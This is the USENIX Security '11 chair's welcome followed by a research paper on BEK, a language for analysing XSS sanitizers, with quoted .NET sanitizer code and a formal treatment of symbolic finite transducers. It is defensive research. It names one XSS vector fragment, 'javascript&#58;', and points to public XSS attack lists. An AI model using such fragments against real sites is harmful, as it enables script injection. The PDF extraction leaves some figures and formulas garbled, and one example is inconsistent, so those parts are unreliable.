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Message from the USENIX Security ’11 Program Chair

It is my pleasure to welcome you to the 20th USENIX Security Symposium, where we have an outstanding pro-
gram of papers, talks, and other events.

The conference received 206 submissions. Two of the submissions were withdrawn, and the remaining 204 were 
reviewed by the program committee. The authors of each paper were not revealed to reviewers. The committee 
used a multi-round reviewing process. Every paper was reviewed by at least two reviewers; papers that received 
a positive recommendation in the first round were reviewed by a third and, usually, a fourth reviewer, and many 
papers received five or more reviews. The committee, assisted by many external reviewers, produced a total of 682 
reviews. Reviewers then discussed these papers electronically, producing 826 comments in all. Finally, the program 
committee met during a two-day in-person meeting in Berkeley, California, to discuss the 67 top papers. Niels 
Provos generously served as alternate program chair for ten submissions where I had a conflict of interest, and 
Tadayoshi Kohno handled two more such submissions.

After careful deliberation, the program committee selected 35 papers for presentation—a record high for USENIX 
Security. The quality of the papers is impressive, a tribute to the high quality of research being produced in our 
field.

I would like to thank everyone who contributed to the success of USENIX Security ’11. I am particularly grateful 
to the program committee for their hard work, enthusiasm, and conscientious efforts to ensure that each paper re-
ceived a thorough and fair review. Thanks also to the external reviewers, listed on p. ii, for contributing their time 
and expertise. It has been an honor to work with such a dedicated and thoughtful group. The program committee 
members devoted countless hours to their work; I encourage you to thank them for their service to the community.

Beyond the refereed papers track, we also have a strong lineup of invited talks, posters, and other events. Sandy 
Clark, Dan Geer, Dan Wallach, and Ellie Young served on the invited talks committee, and they have done an 
excellent job of assembling a slate of interesting invited talks. Patrick Traynor is the chair of this year’s Poster 
Session, and Matt Blaze is chairing the Rump Session. Dan Klein is organizing the training program. Thanks to 
Sandy, Dan, Dan, Ellie, Patrick, Matt, and Dan for their important contributions to what promises to be an interest-
ing and fun USENIX Security program.

I would also like to take this opportunity to thank the USENIX organization for their phenomenal support. I am 
especially grateful to Ellie Young, Anne Dickison, Casey Henderson, Jessica Horst, Jane-Ellen Long, Jennifer 
Peterson, Tony Del Porto, board liaison Matt Blaze, and the rest of the USENIX crew. Working with USENIX is 
a true joy. Their dedication to the task of running the conference is inspiring. Please join me in thanking them for 
making the conference such a success.

Finally, I would like to thank all the authors who submitted papers to USENIX Security ’11 for submitting their 
best research.

Welcome to San Francisco, California, and the 20th USENIX Security Symposium. I hope you enjoy the confer-
ence.

David Wagner, University of California, Berkeley 
USENIX Security ’11 Program Chair
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Abstract

Web applications often use special string-manipulating

sanitizers on untrusted user data, but it is difficult to rea-

son manually about the behavior of these functions, lead-

ing to errors. For example, the Internet Explorer cross-

site scripting filter turned out to transform some web

pages without JavaScript into web pages with valid Java-

Script, enabling attacks. In other cases, sanitizers may

fail to commute, rendering one order of application safe

and the other dangerous.

BEK is a language and system for writing sanitiz-

ers that enables precise analysis of sanitizer behavior,

including checking idempotence, commutativity, and

equivalence. For example, BEK can determine if a tar-

get string, such as an entry on the XSS Cheat Sheet, is

a valid output of a sanitizer. If so, our analysis synthe-

sizes an input string that yields that target. Our language

is expressive enough to capture real web sanitizers used

in ASP.NET, the Internet Explorer XSS Filter, and the

Google AutoEscape framework, which we demonstrate

by porting these sanitizers to BEK.

Our analyses use a novel symbolic finite automata

representation to leverage fast satisfiability modulo the-

ories (SMT) solvers and are quick in practice, tak-

ing fewer than two seconds to check the commutativ-

ity of the entire set of Internet Exporer XSS filters,

between 36 and 39 seconds to check implementations

of HTMLEncode against target strings from the XSS

Cheat Sheet, and less than ten seconds to check equiv-

alence between all pairs of a set of implementations of

HTMLEncode. Programs written in BEK can be compiled

to traditional languages such as JavaScript and C#, mak-

ing it possible for web developers to write sanitizers sup-

ported by deep analysis, yet deploy the analyzed code

directly to real applications.

1 Introduction

Cross site scripting (“XSS”) attacks are a plague in to-

day’s web applications. These attacks happen because

the applications take data from untrusted users, and then

echo this data to other users of the application. Because

∗Authors are listed alphabetically. Work done while P. Hooimeijer

and P. Saxena were visiting Microsoft Research.

web pages mix markup and JavaScript, this data may

be interpreted as code by a browser, leading to arbitrary

code execution with the privileges of the victim. The first

line of defense against XSS is the practice of sanitiza-

tion, where untrusted data is passed through a sanitizer,

a function that escapes or removes potentially danger-

ous strings. Multiple widely used Web frameworks offer

sanitizer functions in libraries, and developers often add

additional custom sanitizers due to performance

or functionality constraints.

Unfortunately, implementing sanitizers correctly is

surprisingly difficult. Anecdotally, in dozens of code re-

views performed across various industries, just about any

custom-written sanitizer was flawed with respect to secu-

rity [38]. The recent SANER work, for example, showed

flaws in custom-written sanitizers used by ten web ap-

plications [9]. For another example, several groups of

researchers have found specially crafted pages that do

not initially have cross site scripting attacks, but when

passed through anti-cross-site scripting filters yield web

pages that cause JavaScript execution [10, 22].

The problem becomes even more complicated when

considering that a web application may compose multi-

ple sanitizers in the course of creating a web page. In

a recent empirical analysis, we found that a large web

application often applied the same sanitizers twice, de-

spite these sanitizers not being idempotent. This analysis

also found that the order of applying different sanitizers

could vary, which is safe only if the sanitizers are com-

mutative [32], providing further evidence suggesting that

developers have a difficult time writing correct sanitiza-

tion functions without assistance.

Despite this, much work in the space of detecting and

preventing XSS attacks [19, 23, 25, 27, 39] has optimisti-

cally assumed that sanitizers are in fact both known and

correct. Some recent work has started exploring the is-

sue of specification completeness [24] as well as san-

itizer correctness by explicitly statically modeling sets

of values that strings can take at runtime [13, 26, 36, 37].

These approaches use analysis-specific models of strings

that are based on finite automata or context-free gram-

mars. More recently, there has been significant interest

in constraint solving tools that model strings [11, 17, 18,

20, 31, 34, 35]. String constraint solvers allow any client

analysis to express constraints (e.g., path predicates for a
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single code path) that include common

string manipulation functions.

Sanitizers are typically a small amount of code, per-

haps tens of lines. Furthermore, application developers

knowwhen they are writing a new, custom sanitizer or set

of sanitizers. Our key proposition is that if we are will-

ing to spend a little more time on this sanitizer code, we

can obtain fast and precise analyses of sanitizer behavior,

along with actual sanitizer code ready to be integrated

into both server- and client-side applications. Our ap-

proach is BEK, a language for modeling string transfor-

mations. The language is designed to be (a) sufficiently

expressive to model real-world code, and (b) sufficiently

restricted to allow fast, precise analysis, without needing

to approximate the behavior of the code.

Key to our analysis is a compilation from BEK pro-

grams to symbolic finite state transducers, an extension

of standard finite transducers. Recall that a finite trans-

ducer is a generalization of deterministic finite automata

that allows transitions from one state to another to be an-

notated with outputs: if the input character matches the

transition, the automaton outputs a specified sequence of

characters. In a symbolic finite transducer, transitions

are annotated with logical formulas instead of specific

characters, and the transducer takes the transition on any

input character that satisfies the formula. We apply algo-

rithms that determine if two BEK programs are equiva-

lent. We also can check if a BEK program can output a

specific string, and if so, synthesize an input

yielding that string.

Our symbolic finite state transducer representation

enables leveraging satisfiability modulo theories (SMT)

solvers, tools that take a formula and attempt to find in-

puts satisfying the formula. These solvers have become

robust in the last several years and are used to solve com-

plicated formulas in a variety of contexts. At the same

time, our representation allows leveraging automata the-

oretic methods to reason about strings of unbounded

length, which is not possible via direct encoding to SMT

formulas. SMT solvers allow working with formulas

from any theory supported by the solver, while other

previous approaches using binary decision diagrams are

specialized to specific types of inputs.

After analysis, programs written in BEK can be com-

piled back to traditional languages such as JavaScript or

C# . This ensures that the code analyzed and tested is

functionally equivalent to the code which is actually de-

ployed for sanitization, up to bugs in our compilation.

This paper contains a number of experimental case

studies. We conclusively demonstrate that BEK is ex-

pressive enough for a wide variety of real-life code by

converting multiple real world Web sanitization func-

tions fromwidely used frameworks, including those used

in Internet Explorer 8’s cross-site scripting filter, to BEK

programs. We report on which features of the BEK lan-

guage are needed and which features could be added

given our experience. We also examine other code,

such as sanitizers from Google AutoEscape and func-

tions from WebKit, to determine whether or not they can

be expressed as BEK programs. We maintain samples of

BEK programs online1.

We then use BEK to perform security specific analy-

ses of these sanitizers. For example, we use BEK to de-

termine whether there exists an input to a sanitizer that

yields any member of a publicly available database of

strings known to result in cross site scripting attacks. Our

analysis is fast in practice; for example, we take two sec-

onds to check the commutativity of the entire set of In-

ternet Explorer 8 XSS filters, and less than 39 seconds to

check an implementations the HTMLEncode sanitization

function against target strings from the

XSS Cheat Sheet [5].

To experimentally demonstrate the difficulty of writ-

ing correct sanitizers, we hired several freelance devel-

opers to implement HTMLEncode functionality. Using

BEK, we checked the equivalence of the seven differ-

ent implementations of HTMLEncode and used BEK to

find counterexamples: inputs on which these sanitizers

behave differently. Finally, we performed scalability ex-

periments to show that in practice the time to perform

BEK analyses scales near-linearly.

1.1 Contributions

The primary contributions of this paper are:

• Language. We propose a domain-specific lan-

guage, BEK, for string manipulation. We describe a

syntax-driven translation from BEK expressions to

symbolic finite state transducers.

• Algorithms. We provide algorithms for performing

composition computation and equivalence check-

ing, which enables checking commutativity, idem-

potence, and determining if target strings can be

output by a sanitizer. We show how JavaScript and

C# code can be generated out of BEK programs,

streamlining the client- and server-side deployment

of BEK sanitizers.

• Evaluation. We show that BEK can encode real-

world string manipulating code used to sanitize un-

trusted inputs in web applications. We demonstrate

the expressiveness of BEK by encoding OWASP

sanitizers, many IE 8 XSS filters, as well as func-

tions written by freelance developers hired through

odesk.com and vworker.com for our experiments

presented in this paper. We show how the analy-

ses supported by our tool can find security-critical

1http://code.google.com/p/bek/
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bugs or check that such bugs do not exist. To

improve the end-user experience when a bug is

found, BEK produces a counter-example. We dis-

cover that only 28.6% of our sanitizers commute,

∼79.1% are idempotent, and that only 8% are re-

versible. We also demonstrate that most hand-

written HTMLEncode implementations disagree on

at least some inputs.

• A Scalable Implementation. BEK deals with Uni-

code strings without creating a state explosion. Fur-

thermore, we show that our algorithms for equiv-

alence checking and composition computation are

very fast in practice, scaling near-linearly with the

size of the symbolic finite transducer representation.

The main reason for this is the symbolic representa-

tion of the transition relation.

While the focus of this paper is on XSS attacks2, our

language and analyses are more general and apply to

any string manipulating function. For example Chen et

al. check interactions between firewall rules, finding re-

dundant and order-dependent rules in routers [40]. Cho

and Babić [12] check the equivalence between a specifi-

cation and an implementation for

state machines in SMTP servers.

2 Overview

Figure 1 shows an architectural diagram for the BEK sys-

tem. At the center of the picture is the transducer-based

representation of a BEK program. At the moment, we

support a BEK language front end, although other front

ends that convert Java or C# programs into BEK are also

possible. We provide motivating examples of the BEK

language in Section 2.1 and discuss the applications of

BEK to analyzing sanitizers in Section 2.2.

2.1 Introductory Examples

Example 1. The following BEK program is a basic san-

itizer that backslash-escapes single and double quotes

(but only if they are not escaped already). The iter con-

struct is a block that uses a character variable c and a

single boolean state variable b that is initially f (false).

Each iteration of the block binds the character variable to

a single character of the string t; iteration continues un-

til no more characters remain. The block is broken into

case statements. If a character satisfies the condition of

the case statement, the corresponding code is executed.

2The dual of the issue of code injection is data privacy; BEK is

equally suitable to analyzing the corresponding data cleansing func-

tions.

Figure 1: BEK architecture. We use a representation

based on symbolic finite state transducers (defined in-

text) to model string sanitization code without approxi-

mation.

private static string EncodeHtml(string t)

{

if (t == null) { return null; }

if (t.Length == 0) { return string.Empty; }

StringBuilder builder =

new StringBuilder("", t.Length * 2);

foreach (char c in t)

{

if ((((c > ’‘’) && (c < ’{’)) ||

((c > ’@’) && (c < ’[’))) || (((c == ’ ’) ||

((c > ’/’) && (c < ’:’))) || (((c == ’.’) ||

(c == ’,’)) || ((c == ’-’) || (c == ’_’))))){

builder.Append(c);

} else {

builder.Append("&#" +

((int) c).ToString() + ";");

}

}

return builder.ToString();

}

Figure 2: Code for AntiXSS.EncodeHtml version 2.0.

Here yield(c) outputs the current character c.

iter(c in t) {b := f ; } {

case(¬(b) ∧ (c = ‘’’ ∨ c = ‘"’)) {

b := f ; yield(‘\’); yield(c); }

case(c = ‘\’) {

b := ¬(b); yield(c); }

case(t) {

b := f ; yield(c); }

}

The boolean variable b is used to track whether the previ-
ous character seen was an unescaped slash. For example,

in the input \\" the double quote is not considered es-

caped, and the transformed output is \\\". If we apply the

BEK program to \\\" again, the output is the same. An
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interesting question is whether this holds for any output

string. In other words, we may be interested in whether

a given BEK program is idempotent.

If implemented incorrectly, double applications of

such sanitization functions can result in duplicate escap-

ing. This in turn has led to command injection of script-

injection attacks in the past. Therefore, checking idem-

potence of certain functions is practically useful. We

will see in the next section how BEK can perform such

checks. ⊠

Example 2. The code in Figure 2 is from the public

Microsoft AntiXSS library. The sanitizer iterates over

the input character-by-character. Depending on the char-

acter encountered, a different action is taken, such as in-

cluding the character verbatim or encoding it in some

manner, such as numeric HTML escaping.

The BEK program corresponding to EncodeHtml is

iter (c in t){
case (¬ϕ(c)){
yield [‘&’,‘#’] + dec(c) + [‘;’]; }

case(true){
yield [c]; }}

where dec is a built-in library function that returns the

decimal representation of the character and ϕ(c) is the

formula

(‘a’ ≤ c ∧ c ≤ ‘z’) ∨ (‘A’ ≤ c ∧ c ≤ ‘Z’) ∨
(‘0’ ≤ c ∧ c ≤ ‘9’) ∨ c = ‘ ’ ∨ c = ‘.’ ∨
c = ‘,’ ∨ c = ‘−’ ∨ c = ‘ ’

The BEK program iterates over each character of the

input. If the character satisfies the formulaϕ(c), then the
program outputs the character. Otherwise the program

escapes the character by outputting its decimal encod-

ing, together with the &# prefix and semicolon. Note

that this sanitizer is not idempotent, because applying the

function twice to the string &# will result in double es-

caping. Our tool can detect this in under a second. ⊠

Multiple implementations may exist of the “same”

sanitizer. For example, Figure 3 shows the result of run-

ning the Red Gate Reflector .NET decompiler on the Sys-

tem.NET implementation of EncodeHTML. We have con-

verted this code to BEK as well, noticing that the goto

structure is the result of a loop after decompilation. Us-

ing our analyses, we can check these implementations for

equivalence. Our implementation can detect in less than

one second that the System.NET implementation does

not escape single quote characters, while the AntiXSS

implementation does, meaning that the two implementa-

tions are not equivalent. Failure to escape single quotes

can lead to XSS attacks, so this

difference is significant [33].

public static string EncodeHtml(string s)

{

if (s == null)

return null;

int num = IndexOfHtmlEncodingChars(s, 0);

if (num == -1)

return s;

StringBuilder builder=new StringBuilder(s.Length+5);

int length = s.Length;

int startIndex = 0;

Label_002A:

if (num > startIndex) {

builder.Append(s, startIndex, num-startIndex);

}

char ch = s[num];

if (ch > ’>’) {

builder.Append("&#");

builder.Append(((int) ch).

ToString(NumberFormatInfo.InvariantInfo));

builder.Append(’;’);

}

else {

char ch2 = ch;

if (ch2 != ’"’) {

switch (ch2)

{

case ’<’:

builder.Append("&lt;");

goto Label_00D5;

case ’=’:

goto Label_00D5;

case ’>’:

builder.Append("&gt;");

goto Label_00D5;

case ’&’:

builder.Append("&amp;");

goto Label_00D5;

}

}

else {

builder.Append("&quot;");

}

}

Label_00D5:

startIndex = num + 1;

if (startIndex < length) {

num = IndexOfHtmlEncodingChars(s, startIndex);

if (num != -1) {

goto Label_002A;

}

builder.Append(s, startIndex, length-startIndex);

}

return builder.ToString();

}

Figure 3: Code for EncodeHtml from version 2.0 of

System.Net. This code is not equivalent to the AntiXSS
library version.

2.2 Security Applications

Web sanitizers are the first line of defense against cross-

site scripting attacks for web applications: they are func-
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tions applied to untrusted data provided by a user that

attempt to make the data “safe” for rendering in a web

browser. Reasoning about the security properties of web

sanitizers is crucial to the security of web applications

and browsers. Formal verification of sanitizers is there-

fore crucial in proving the absence of injection attacks

such as cross-site and cross-channel scripting as well as

information leaks.

2.2.1 Security of Sanitizer Composition

Recent work has demonstrated that developers may

accidentally compose sanitizers in ways that are not

safe [32]. BEK can check two key properties of sanitizer

composition: commutativity and idempotence.

Commutativity: Consider two default sanitizers in

the Google CTemplate framework: JavaScriptEscape

and HTMLEscape [4]. The former performs Uni-

code encoding (\u00XX) for safely embedding untrusted

data in JavaScript strings while the latter sanitizer per-

forms HTML entity-encoding (&lt;) for embedded un-

trusted data in HTML content. It turns out that if

JavaScriptEscape is applied to untrusted data before

the application of HTMLEscape, certain XSS attacks are

not prevented [32]. The opposite ordering does prevent

these attacks. BEK can check if a pair of sanitizers are

commutative, which would mean the programmer does

not need to worry about this class of bugs.

Idempotence: BEK can check if applying the sanitizer

twice yields different behavior from a single application.

For example, an extra JavaScript string encoding may

break the intended rendering behavior in the browser.

2.2.2 Sanitizer Implementation Correctness

Hand-coded sanitizers are notoriously difficult to write

correctly. Analyses provided by BEK help achieve cor-

rectness in three ways.

Comparing multiple sanitizer implementations: Mul-

tiple implementations of the same sanitization function-

ality can differ in subtle ways [9]. BEK can check

whether two different programs written in the BEK lan-

guage are equivalent. If they are not, BEK exhibits inputs

that yield different behaviors.

Comparing sanitizers to browser filters: Internet Ex-

plorer 8 and 9, Google Chrome, Safari, and Firefox em-

ploy built-in XSS filters (or have extensions [3]) that ob-

serve HTTP requests and responses [1, 2] for attacks.

These filters are most commonly specified as regular

expressions, which we can model with BEK. We can

then check for inputs that are disallowed by browser fil-

ters, but which are allowed by sanitizers. For example,

BEK can determine that the AntiXSS implementation of

the EncodeHTML sanitizer in Figure 2 does not block

Bool ConstantsB ∈ {t, f}
Char Constants d ∈ Σ

Bool Variables b, . . .
Char Variables c
String Variables t

Strings sexpr ::= iter(c in sexpr) {init} {case∗}
| fromLast(ccond, sexpr)
| uptoLast(ccond, sexpr) | t

init ::= (b := B)∗

case ::= case(bexpr) {cstmt}| endcase
endcase ::= end(ebexpr){yield(d)∗}

cstmt ::= (b := ebexpr; | yield(cexpr);)∗

Booleans bexpr ::= Boolcomb(bexpr) |B | b | ccond
ebexpr ::= Boolcomb(ebexpr) |B | b
ccond ::= Boolcomb(ccond) |cexpr = cexpr

| cexpr < cexpr | cexpr > cexpr
Char strings cexpr ::= c | d | built-in-fnc(c) | cexpr + cexpr

Figure 4: Concrete syntax for BEK. Well-formed BEK

expressions are functions of type string → string;

the language provides basic constructs to filter and trans-

form the single input string t. Boolcomb(e) stands for
Boolean combination of e using conjunction, disjunc-

tion, and negation.

strings such as javascript&#58; which are prevented by

IE 8 XSS filters. These differences indicate potential

bugs in the sanitizer or the filter.

Checking against public attack sets: Several pub-

lic XSS attack sets are available, such as XSS cheat

sheet [5]. With BEK, for all sanitizers, for all attack vec-

tors in an attack set, we can check if there exists an input

to the sanitizer that yields the attack vector.

3 The BEK Language and Transducers

In this section, we give a high-level description of a

small imperative language, BEK, of low-level string op-

erations. Our goal is two-fold. First, it should be possible

to model BEK expressions in a way that allows for their

analysis using existing constraint solvers. Second, we

want BEK to be sufficiently expressive to closely model

real-world code (such as Example 2). In this section

we first present the BEK language. We then define the

semantics of BEK programs in terms of symbolic finite

transducers (SFTs), an extension of classical finite state

transducers. Finally, we describe several core decision

procedures for SFTs that provide an algorithmic founda-

tion for efficient static analysis

and verification of BEK programs.

3.1 The BEK Language

Figure 4 describes the language syntax. We define a sin-

gle string variable, t, to represent an input string, and

a number of expressions that can take either t or an-

other expression as their input. The uptoLast(ϕ, t) and
fromLast(ϕ, t) are built-in search operations that ex-



6 20th USENIX Security Symposium USENIX Association

tract the prefix (suffix) of t upto (from) and excluding

the last occurrence of a character satisfying ϕ. These

constructs are listed separately because they cannot be

implemented using other language features. Finally, the

iter construct allows for character-by-character iteration

over a string expression.

Example 3. uptoLast(c = ‘.’,"w.abc.org")
= "www.abc", fromLast(c = ‘.’,"w.abc.org")
="org". ⊠

The iter construct is designed to model loops that tra-

verse strings while making imperative updates to boolean

variables. Given a string expression (sexpr), a char-

acter variable c, and an initial boolean state (init), the
statement iterates over characters in sexpr and evaluates
the conditions of the case statements in order. When a

condition evaluates to true, the statements in cstmt may

yield zero or more characters to the output and update the

boolean variables for future iterations. The endcase ap-
plies when the end of the input string has been reached.

When no case applies, this correspond to yielding zero

characters and the iteration continues or the loop termi-

nates if the end of the input has been reached.

3.2 Finite Transducers

We start with the classical definition of finite state trans-

ducers. The particular sublass of finite transducers that

we are considering here are also called generalized se-

quential machines or GSMs [29], however, this defini-

tion is not standardized in the literature, and we there-

fore continue to say finite transducers for this restricted

case. The restriction is that, GSMs read one symbol at

each transition, while a more general definition allows

transitions that skip inputs.

Definition 1. A Finite Transducer A is defined as a six-

tuple (Q, q0, F,Σ,Γ,∆), whereQ is a finite set of states,

q0 ∈ Q is the initial state, F ⊆ Q is the set of final states,

Σ is the input alphabet, Γ is the output alphabet, and ∆
is the transition function fromQ× Σ to 2Q×Γ∗

.

We indicate a component of a finite transducer A by

using A as a subscript. For (q, v) ∈ ∆A(p, a) we define

the notation p
a/v
−→A q, where p, q ∈ QA, a ∈ ΣA and

v ∈ Γ∗
A. We write p

a/v
−→ q when A is clear from the

context. Given words v and w we let v · w denote the

concatenation of v and w. Note that v · ǫ = ǫ · v = v.

Given qi
ai/vi
−→A qi+1 for i < n we write q0

u/v
−→A qn

where u = a0 ·a1 ·. . .·an−1 and v = v0 ·v1 ·. . .·vn−1. We

write also q
ǫ/ǫ
−→A q. A induces the finite transduction,

TA : Σ∗
A → 2Γ

∗

A :

TA(u)
def
= {v | ∃q ∈ FA (q0A

u/v
−→ q)}

We lift the definition to sets, TA(U)
def
=

⋃
u∈U T (u).

Given two finite transductions T1 and T2, T1 ◦ T2 de-

notes the finite transduction that maps an input word u to

the set T2(T1(u)). In the following let A and B be finite

transducers. A fundamental composition of A and B is

the join composition of A and B.

Definition 2. The join ofA andB is the finite transducer

A◦B
def
= (QA×QB, (q

0
A, q

0
B), FA×FB,ΣA,ΓB,∆A◦B)

where, for all (p, q) ∈ QA ×QB and a ∈ ΣA:

∆A◦B((p, q), a)
def
= {((p′, q), ǫ) | p

a/ǫ
−→A p′}

∪ {((p′, q′), v) | (∃u ∈ Γ+
A)

p
a/u
−→A p′, q

u/v
−→B q′}

The following property is well-known and allows us

to drop the distinction between A and TA

without causing ambiguity.

Proposition 1. TA◦B = TA ◦ TB .

The following classification of finite transducers plays a

central role in the sections discussing translation from

BEK and decision procedures for

symbolic finite transducers.

Definition 3. A is single-valued if for all u ∈ Σ∗
A,

|A(u)| ≤ 1.

3.3 Symbolic Finite Transducers

Symbolic finite transducers, as defined below, provide a

symbolic representation of finite transducers using terms

modulo a given background theory T . The background

universeV of values is assumed to bemulti-sorted, where

each sort σ corresponds to a sub-universe Vσ. The

boolean sort is BOOL and contains the truth values t

(true) and f (false). Definition of terms and formulas

(boolean terms) is standard inductive definition, using

the function symbols and predicate symbols of T , log-

ical connectives, as well as uninterpreted constants with

given sorts. All terms are assumed to be well-sorted. A

term t of sort σ is indicated by t : σ. Given a term t and a
substitution θ from variables (or uninterpreted constants)

to terms or values, Subst(t, θ) denotes the term resulting

from applying the substitution θ to t.
A model is a mapping of uninterpreted constants to

values.3 A model for a term t is a model that provides

an interpretation for all uninterpreted constants that oc-

cur in t. (All free variables are treated as uninterpreted

constants.) The interpretation or value of a term t in a

3The interpretations of background functions of T is fixed and is

assumed to be an implicit part of all models.
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modelM for t is given by standard Tarski semantics us-

ing induction over the structure of terms, and is denoted

by tM . A formula (predicate) ϕ is true in a model M
for ϕ, denoted by M |= ϕ, if ϕM evaluates to true. A

formula ϕ is satisfiable, denoted by IsSat(ϕ), if there
exists a model M such that M |= ϕ. Any term t:σ that

includes no uninterpreted constants is called a value term

and denotes a concrete value [[t]] ∈ Vσ .

Let Term
γ
T (x̄) denote the set of all terms in T of sort

γ, where x̄ = x0, . . . , xn−1 may occur as the only un-

interpreted constants (variables). Let PredT (x̄) denote
TermBOOL

T (x̄). In order to avoid ambiguities in notation,

given a set E of elements, we write [e0, . . . , en−1] for
elements of E∗, i.e., sequences of elements from E. We

use both [] and ǫ to denote the empty sequence. As above,

if e1, e2 ∈ E∗, then e1 · e2 ∈ E∗ denotes the con-

catenation of e1 with e2. We lift the interpretation of

terms to apply to sequences: for u = [u0, . . . , un−1] ∈

Term
γ
T (x̄)

∗ let uM def
= [uM

0 , . . . , uM
n−1] ∈ (Vγ)∗.

In the following let c:σ be a fixed uninterpreted con-

stant of sort σ. We refer to c:σ as the input variable (for

the given sort σ).

Definition 4. A Symbolic Finite Transducer (SFT) for T
is a six-tuple (Q, q0, F, σ, γ, δ), whereQ is a finite set of

states, q0 ∈ Q is the initial state, F ⊆ Q is the set of

final states, σ is the input sort, γ is the output sort, and

δ is the symbolic transition function fromQ×PredT (c)
to 2Q×Term

γ
T
(c)∗ .

We use the notation p
ϕ/u
−→A q for (q,u) ∈ δA(p, ϕ)

and call p
ϕ/u
−→A q a symbolic transition, ϕ/u is called

its label, ϕ is called its input (guard) and u its output.

An SFT A = (Q, q0, F, σ, γ, δ) denotes the finite

transducer [[A]] = (Q, q0, F,Vσ,Vγ ,∆) where p
a/v
−→[[A]]

q if and only if there exists p
ϕ/u
−→A q and a model M

such thatM |= ϕ, cM = a, uM = v.
For an STF A let the underlying transduction TA be

T[[A]]. For a state q ∈ QA let T q
A(v) (T q

[[A]](v)) denote
the set of outputs when starting from q with input v. In
particular, if q = q0A then TC = T q

A and T[[A]] = T q
[[A]].

The following proposition follows directly from the def-

inition of [[A]].

Proposition 2. For v ∈ Σ∗
[[A]] and q ∈ QA: T q

A(v) =

T q
[[A]](v).

Example 4. The identity SFT Id (for sort σ) is defined

follows. Id = ({q}, q, {q}, σ, σ, {q
t/[c]
−→ q}). Thus, for

all a ∈ Vσ , q
a/a
−→[[Id]] q, and [[Id ]](v) = {v} for all

v ∈ (Vσ)∗. ⊠

Example 5. Assume σ is the sort for characters. The

predicate c = ‘.’ says that the input character is a dot.

�� ����������������q0

(c �=′.′)/[c]

�� (c=′.′)/[]
��

(c=′.′)/[c] ��

����������������q1

(c �=′.′)/[]

��

��������q2

(t)/[c]

��

(c=′.′)/[]

��

Figure 5: Symbolic finite state transducer for

uptoLast(c=‘.’, input). This transducer is non-

deterministic; there are two transitions that match ‘.’
from state q0.

The SFT UptoLastDot such that for all strings v,

UptoLastDot(v) = uptoLast(c = ‘.’, v),

where uptoLast is the BEK function introduced above,

is shown in Figure 5. ⊠

Composition works directly with SFTs, and keeps the

resulting SFT clean in the sense that all symbolic transi-

tions are feasible, and eliminates states that are unreach-

able from the initial state as well as non-initial states

that are not backwards reachable from any final state. In

order to preserve feasibility of transitions the algorithm

uses a solver for checking satisfiability of formulas in

PredT (c).

3.4 BEK to SFT translation

The basic sort needed in this section, besides BOOL, is

a sort CHAR for characters. We also assume the back-

ground relation < : CHAR × CHAR → BOOL as a strict

total order corresponding to the standard lexicographic

order over ASCII (or Unicode) characters and assume>,

≤ and ≥ to be defined accordingly. We also assume that

each individual character has a built-in constant such as

‘a’:CHAR. For example,

(‘A’ ≤ c ∧ c ≤ ‘Z’) ∨ (‘a’ ≤ c ∧ c ≤ ‘z’)∨
(‘0’ ≤ c ∧ c ≤ ‘9’) ∨ c = ‘ ’

descibes the regex character class \w of all word char-

acters in ASCII. (Direct use of regex character classes

in BEK, such as case(\w) {. . .}, is supported in the en-

hanced syntax supported in the BEK analyzer tool.)

Each sexpr e is translated into an SFT SFT (e).
For the string variable t, SFT (e) = Id , with Id

as in Example 4. The translation of uptoLast(ϕ, e)
is the symbolic composition STF (e) ◦ B where B
is an SFT similar to the one in Example 5, except

that the condition c = ‘.’ is replaced by ϕ. The

translation of fromLast(ϕ, e) is analogous. Finally,
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SFT (iter(c in e) {init} {case∗}) = SFT (e) ◦ B
where B = (Q, q0, Q, CHAR, CHAR, δ) is
constructed as follows:

Step 1: Normalize. Transform case∗ so that case con-

ditions are mutually exclusive by adding the nega-

tions of previous case conditions as conjuncts to all

the subsequent case conditions, and ensure that each

boolean variable has exactly one assignment in each

cstmt (add the trivial assignment b := b
if b is not assigned).

Step 2: Compute states. Compute the set of states Q.

Let q0 be an initial state as the truth assignment to

boolean variables declared in init.4 Compute the

set Q of all reachable states, by using DFS, such

that, given a reached state q, if there exists a case

case(ϕ) {cstmt} such that Subst(ϕ, q) is satisfi-

able then add the state

{b �→ [[Subst(ψ, q)]] | b := ψ ∈ cstmt} (1)

to Q. (Note that Subst(ψ, q) is a value term.)

Step 3: Compute transitions. Compute the symbolic

transition function δ. For each state q ∈ Q and

for each case case(ϕ) {cstmt} such that φ =
Subst(ϕ, q) is satisfiable. Let p be the state com-

puted in (1). Let yield(u0), . . . ,yield(un−1) be

the sequence of yields in cstmt and let u =
[u0, . . . , un−1]. Add the symbolic

transition q
φ/u
−→ p to δ.

The translation of end-cases is similar, resulting in sym-

bolic transitions with guard c = ⊥, where ⊥ is a spe-

cial character used to indicate end-of-string. We assume

⊥ to be least with respect to <. For example, assum-

ing that the BEK programs use concrete ASCII charac-

ters,⊥:CHAR is either an additional character, or the null

character ‘\0’ if only null-terminated strings are consid-

ered as valid input strings. Although practically impor-

tant, end-cases do not cause algorithmic complications,

and for the sake of clarity we avoid them

in further discussion.

The algorithm uses a solver to check satisfiability of

guard formulas. If checking satisfiability of a formula for

example times out, then it is safe to assume satisfiabil-

ity and to include the corresponding symbolic transition.

This will potentially add infeasible guards but retains the

correctness of the resulting SFT, meaning that the under-

lying finite transduction is unchanged. While in most

cases checking satisfiability of guards seems straight-

forward, but when considering Unicode, this perception

is deceptive. As an example, the regex character class

4Note that q0 is the empty assignment if init is empty, which trivi-

alizes this step.

�� ����������������q0

(c/∈{′′′,′”′,′\′})/[c]

��

(c∈{′′′,′”′})/[′\′, c]

��

(c=′\′)/[c]
�� ����������������q1

(t)/[c]

��

Figure 6: SFT for BEK program in Example 1. This

SFT escapes single and double quotes with a backslash,

except if the current symbol is already escaped. The ap-

plication of this SFT is idempotent.

[\W-[\D]] denotes an empty set since \d is a subset of

\w and \W (\D) is the complement of \w (\d), and thus,

[\W-[\D]] is the intersection of \W and \d. Just the charac-

ter class \w alone contains 323 non-overlapping ranges in

Unicode, totaling 47,057 characters. A naı̈ve algorithm

for checking satisfiability (non-emptiness) of [\W-[\D]]

may easily time out.

Consider the BEK program in Example 1. The cor-

responding SFT constructed by the above translation is

shown in Figure 6. There are two symbolic transitions

from state q0 to itself. The first corresponds to the cases

where the input character c needs to be escaped, and the

second to cases where the input does not

need to be escaped.

3.5 Join Composition and Equivalence

We now give an informal description of our core algo-

rithms for reasoning about SFTs: join composition and

equivalence. We then show how these algorithms can be

used to check properties such as idempotence, existence

of an input yielding a target string, and commutativity.

The join compositionA ◦B corresponds to a program

